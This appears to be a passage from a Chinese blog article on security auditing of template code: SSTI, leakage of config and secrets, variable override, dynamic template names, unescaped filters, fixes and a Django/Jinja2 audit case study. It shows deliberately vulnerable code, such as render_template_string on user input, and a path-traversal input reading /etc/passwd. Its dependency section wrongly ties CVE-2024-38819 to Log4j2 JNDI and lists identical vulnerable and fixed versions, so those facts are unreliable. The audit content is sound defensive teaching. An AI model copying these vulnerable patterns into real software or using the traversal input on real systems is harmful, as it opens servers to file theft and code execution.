模板上下文对象过度暴露问题大多数模板引擎在渲染时会把一些全局对象注入到模板上下文里当前用户信息、数据库配置、环境变量、甚至一些内部服务接口地址。这些对象本来只给模板内部逻辑使用的但如果模板里有循环变量、宏定义、部分可控的片段攻击者就可以通过模板语法把这些敏感信息捞出来。举个例子Jinja2默认会暴露config对象{{ config }}如果开发时没有清理Flask的config模板里这一行可能直接把SECRET_KEY、数据库连接串全部打印出来。这不是SSTI只是模板上下文里的过度暴露。但它的危害一点也不比SSTI小——拿到了SECRET_KEY就能伪造session拿到了数据库连接串就能直连数据库。审计时我会重点看两方面渲染函数传入了哪些全局对象有没有传入超出模板必要范围的对象模板里有没有debug用的{{ config }}、{{ request.environ }}、{{ self.__dict__ }}之类的“裸奔”写法这两类问题在开发自测时可能被当作“调试方便”上线时稍不注意就留下来了。4.2 模板中的逻辑绕过与变量覆盖有些模板引擎支持赋值和运算比如Jinja2的{% set %}、FreeMarker的#assign。如果模板本身还承担了一部分业务判断逻辑如权限判断、支付金额计算审计时就要跟读模板逻辑看是否可以被用户输入覆盖。我见过一个比较经典的场景商城系统的运费模板里这样写{% if user.is_vip %} {% set shipping_cost 0 %} {% else %} {% set shipping_cost 10 %} {% endif %}表面上看没有危险。但假如模板里某处把用户输入的参数直接set进去了{% set shipping_cost request.args.get(shipping_cost, shipping_cost) %}那用户传入shipping_cost0就能绕过运费。这种问题不一定叫“注入”它本质上就是模板变量被不可信输入覆盖——在审计模板代码时看到set、assign这类赋值操作就要多问一句等号右侧的数据源是可信的吗4.3 模板文件包含与动态模板名另一个高危点是动态模板名。正常开发中模板文件名一般是固定的render_template(user_profile.html)。但有些系统为了实现“多主题”“多皮肤”功能把模板名做成了用户可控参数template_name request.args.get(theme, default) return render_template(template_name .html)这种写法最直接的危害是任意文件读取——结合路径穿越/theme?theme../../../../etc/passwd如果框架的模板加载器没有限制路径恶意输入可能直接读到服务器上的任意文件。更进阶的做法是把可控文件名指向一个攻击者上传的文件比如头像图片模板引擎会把这个文件当作模板解析——这时的攻击面就不只是SSTI而是**“任意文件当作模板执行”**性质等同于RCE。审计时要重点排查所有render_template/display/fetch等渲染函数的第一个参数模板路径/名称是否来自不可信输入。模板加载器的搜索路径是否越权比如能搜索到上传目录。是否存在模板缓存机制缓存key是否可控能不能通过污染缓存key读取畸形内容。4.4 过滤器和宏定义里的隐藏风险最后别忘了模板引擎的自定义过滤器和宏定义的参数。开发者经常会写一些自定义过滤器来格式化数据比如app.template_filter(highlight) def highlight(text, keyword): return text.replace(keyword, mark keyword /mark)这个过滤器完全没有转义间接导致存储型XSS。而且更微妙的是如果过滤器内部拼接的字符串被模板二次渲染可能造成二次SSTI。模板宏也一样宏定义的参数默认可信但如果宏内部有直接拼接HTML并交给|safe渲染的逻辑一样会出XSS。所以在审计模板代码时我的检查清单里面至少包含这几项模板上下文暴露了哪些敏感对象。模板里是否有set/assign赋值来自不可信来源。渲染函数接收的模板名/路径是否可控。自定义过滤器与宏是否对输出做了转义。模板缓存策略是否会导致脏数据复用。5. 从审计到修复模板代码供应链里的风险与加固方案发现问题是审计的一半另一半是把问题修好并且防止同类问题再次出现。模板代码的修复跟普通代码不太一样因为它牵涉到模板引擎本身和依赖链光改一行业务代码往往不够。5.1 依赖组件漏洞模板引擎自身的CVE模板引擎也是软件也会有自己的漏洞。最近几年影响比较大的就有Log4j2相关的模板处理链CVE-2024-38819这种Log4j2的JNDI查询在模板/日志渲染时被触发以及各类模板引擎的沙箱逃逸漏洞。审计时要做的第一件事就是核查模板引擎及其依赖的版本组件风险版本修复版本漏洞描述Apache Log4j2 2.17.02.17.0JNDI查询触发RCE模板/日志中格式化用户输入时可能触发FreeMarker 2.3.302.3.30?new()沙箱绕过风险Jinja2部分旧版本升级到最新沙箱绕过与字符串格式化漏洞有一个细节很容易被忽略很多系统的模板引擎不是直接依赖而是通过框架间接引入的。比如用Flask就有Jinja2用Spring Boot就可能带Thymeleaf或FreeMarker。审计依赖链时不能用“项目里没直接用”来判断要看整个依赖树。我一般在审计报告里会附一张“依赖风险清单”别只给结论把升级路径和验证方式写清楚开发同学才能照着执行。5.2 分层修复策略业务代码层、配置层、引擎层修SSTI最稳妥的方式永远是不让不可信输入进入模板代码的“代码位”但在真实修复中业务逻辑往往不允许大改所以我会按优先级给方案。第一层数据清洗与转义速度最快所有进入模板渲染的用户输入默认视为不可信数据。如果只是展示用户内容模板里不要直接{{ user_input }}要经过转义过滤器Jinja2的escape()、Flask的|e过滤器都可以。{{ user_input|e }}但是注意转义能防XSS不能防SSTI。如果攻击者注入的是模板语法转义处理的是HTML字符模板引擎依然会先解析模板语法再输出HTML。所以转义只能处理“变量值作为展示数据”的场景不能处理“变量值被当作模板代码”的场景。第二层输入校验和渲染方式改造推荐如果是模板名可控做白名单校验ALLOWED_THEMES [default, dark, light] if theme not in ALLOWED_THEMES: theme default如果是模板字符串可控彻底禁止这种写法——模板字符串必须由开发者维护不能用用户输入拼模板改用占位符渲染# 错误写法 template h1{{ report_type }}/h1.replace({{ report_type }}, report_type) # 正确写法 template h1{{ report_type }}/h1 # 模板固定 return render_template_string(template, report_typereport_type)这两者的本质区别是前者的用户输入变成了模板的一部分可控代码后者的用户输入只是模板变量的值普通数据。第三层沙箱与最小权限治本但复杂如果业务实在需要让用户参与模板编写比如邮件模板、通知模板的管理后台那就得上沙箱。坦率说模板沙箱并不是绝对安全的——Jinja2的沙箱被绕过过不止一次FreeMarker的沙箱也在不断打补丁。我的建议是模板渲染进程用独立低权限账号运行。渲染进程所在的容器/虚拟机做网络隔离禁止访问内网关键服务。对渲染结果做长度限制防止一次性输出大量数据。开启引擎自身的沙箱模式但不要盲目信任。严格限制模板引擎可访问的文件系统范围配置模板加载器的搜索路径白名单。5.3 代码规范与自动化审计的落地最后谈一谈“怎么让模板代码的安全审计常态化”。我在团队里推过一套实践效果还不错分享给你1. 建立模板代码审计清单把上面提到的检查点固化成一张清单每次代码评审时对照检查模板上下文暴露、模板名可控、变量赋值数据源、过滤器转义、依赖版本。别嫌麻烦清单能帮你保持稳定的审计质量。2. 用自动化工具做静态扫描代码审计工具对模板代码的检测能力参差不齐但至少能帮你定位“可疑的渲染函数调用点”。我常用的是BanditPython能扫到render_template_string但需要人工研判BrakemanRuby on Rails对模板注入检测相对成熟Semgrep多语言可以自定义规则比如Semgrep可以写一条简单规则扫描“模板字符串拼接变量”的模式rules: - id: ssti-template-string languages: [python] message: 模板字符串不应拼接用户输入 severity: WARNING patterns: - pattern: render_template_string(...)自定义规则很香但工具永远只能给你线索判断还得靠人。3. 定期做依赖版本巡检把模板引擎及其传递性依赖拉一个清单定期比对NVD、CVE情报源用自动化脚本盯版本更新。别等出事再升。6. 实际审计项目里的经验教训一次从SSTI到排查链路的完整复盘说了这么多理论最后沉淀一个我印象最深的实战复盘。那次审计目标是一个有着上百万用户的内容管理平台技术栈是PythonDjango模板用的是Django模板和Jinja2混用。整套系统非常庞大光模板文件就有上千个我花了三天时间做模板代码专项审计。6.1 发现可疑渲染点一个“功能残留”的接口第一天我先用一个信息收集脚本把全站所有的视图函数扫描了一遍筛出那些接收request参数并直接传给render或render_to_string的调用点。结果在一个后台管理模块里发现了一个很久以前遗留的“预览邮件”功能。这个功能的本意是运营人员填写邮件模板内容点击“预览”看效果。它的实现方式是把用户填写的邮件HTML直接当作模板渲染def preview_email(request): template request.POST.get(content, ) context { username: request.user.username, site_name: settings.SITE_NAME, } return HttpResponse(render_template_string(template, context))运营人员是从后台登录的当时我一度觉得“后台用户本来就是可信的”差点跳过。但转念一想这个后台有没有可能被其他XSS打到运营账号有没有可能被社工拿到最关键的——这个接口的登录校验到底严不严带着疑点我测了一下鉴权。好消息是这个接口确实做了登录校验坏消息是——只是普通的后台登录没有做二次授权比如MFA而整个后台系统的前端又存在一个存储型XSS另一条链路发现的。两者一组合攻击面就闭环了攻击者先通过XSS拿到运营账号的操作权限再利用这个预览接口执行任意模板代码最终实现服务器控制。这已经不是理论推演而是可以实际利用的攻击链。6.2 构造Payload验证一个被低估的__getattr__确认这个接口可以被利用之后我按之前说的标准链路构造Payload但遇到了一个意外情况Django的模板渲染环境和Jinja2不太一样而且这个项目在部分页面用的是Django原生模板原生模板的SSTI利用姿势跟Jinja2完全不同。我试了很多种方法原生Django模板的{% include %}、{% extends %}都有路径限制直接读文件不好使。后来注意到Django模板里有{% debug %}之类的行为差异我一层一层梳理最终找到突破口Django模板的{% extends %}虽然不能直接读任意文件但配合{% include %}和模板加载器的路径解析规则可以加载部分特定位置的模板文件。虽然这条路没法直接拿到RCE但可以读取系统里的其他模板源码泄露大量业务敏感信息。这个发现让我意识到一个更深层的问题模板代码审计不能只看某一个模板引擎更不能只按“教科书”里的经典Payload去打。同一个系统里混用多套模板引擎的场景非常常见每一套引擎的语法、对象模型、可利用姿势都要分别评估。6.3 从代码到配置的一连串连锁问题顺着这个预览接口往下挖我又找出了几个后续问题问题一模板调试模式未关闭系统的Django设置里DEBUG True还在模板渲染出错时直接把完整的堆栈打到页面上包括数据库连接配置、本地文件路径、部分环境变量。这些信息叠加SSTI利用攻击成本直线下降。问题二模板目录权限过大系统配置了多个模板搜索路径其中一个直接指向了用户上传目录。这意味着攻击者可以通过上传一个恶意模板文件再触发模板渲染去加载它绕过所有“只能读固定模板”的限制。这是典型的“文件上传模板渲染”组合拳。问题三后台账号没有启用MFA这就是我前面说的“运营账号被XSS打到”这个攻击闭环的先决条件。单个问题看似不致命但串起来就是一条完整攻击链。6.4 最终修复方案与验证过程修复我是按三层来做的先止血立刻关闭DEBUG True上线DEBUG False。预览邮件接口改为只渲染纯文本彻底移除HTML模板渲染能力如果业务确实需要富文本预览改成前端渲染方案后端只做文本校验。再改造模板渲染函数不再直接接收用户提交的模板内容改为内置一套受控的模板片段运营人员只能通过变量占位符填写内容无法直接书写模板语法。模板加载路径白名单化把用户上传目录从模板搜索路径中移除。最后加规范全站启用MFA后台账号强制二次认证。增加CI阶段的自定义Semgrep规则扫描render_template_string的调用点发现用户输入直接进入模板就自动阻断合并请求。修复后的验证我做了三轮第一轮用原始Payload重新打接口确认全部失效第二轮做回归测试确保预览功能还能正常使用第三轮用自动化扫描工具跑了一遍全站模板渲染点确认没有遗漏的同类问题。7. 写在最后的几点实践心得模板代码安全审计这个方向说难也难说容易也容易。难在它需要同时理解模板引擎的底层机制、宿主语言的运行时特性、Web框架的上下文传递方式容易在于只要掌握了几个关键分析点就能比绝大多数攻击者更早发现风险。我个人的实操体会是不要神话SSTI也不要忽略它。大量真实的模板安全风险不是那种一击必杀的远程命令执行而是各种不起眼的信息泄漏、覆盖赋值、依赖组件漏洞。把它们一个个找出来系统的整体安全水位反而会提升得更扎实。最后分享一个我自己写审计报告时的习惯每个模板漏洞一定要附上“完整触发链路”——从哪个输入点进来、经过哪些函数流转、最终在哪个模板渲染点爆发。开发同学接到这样的报告时省去了大量自己追数据流的时间修复起来也快很多。审计不是炫技是帮业务把风险降到可接受的水平。这一点做审计和写代码其实是一样的。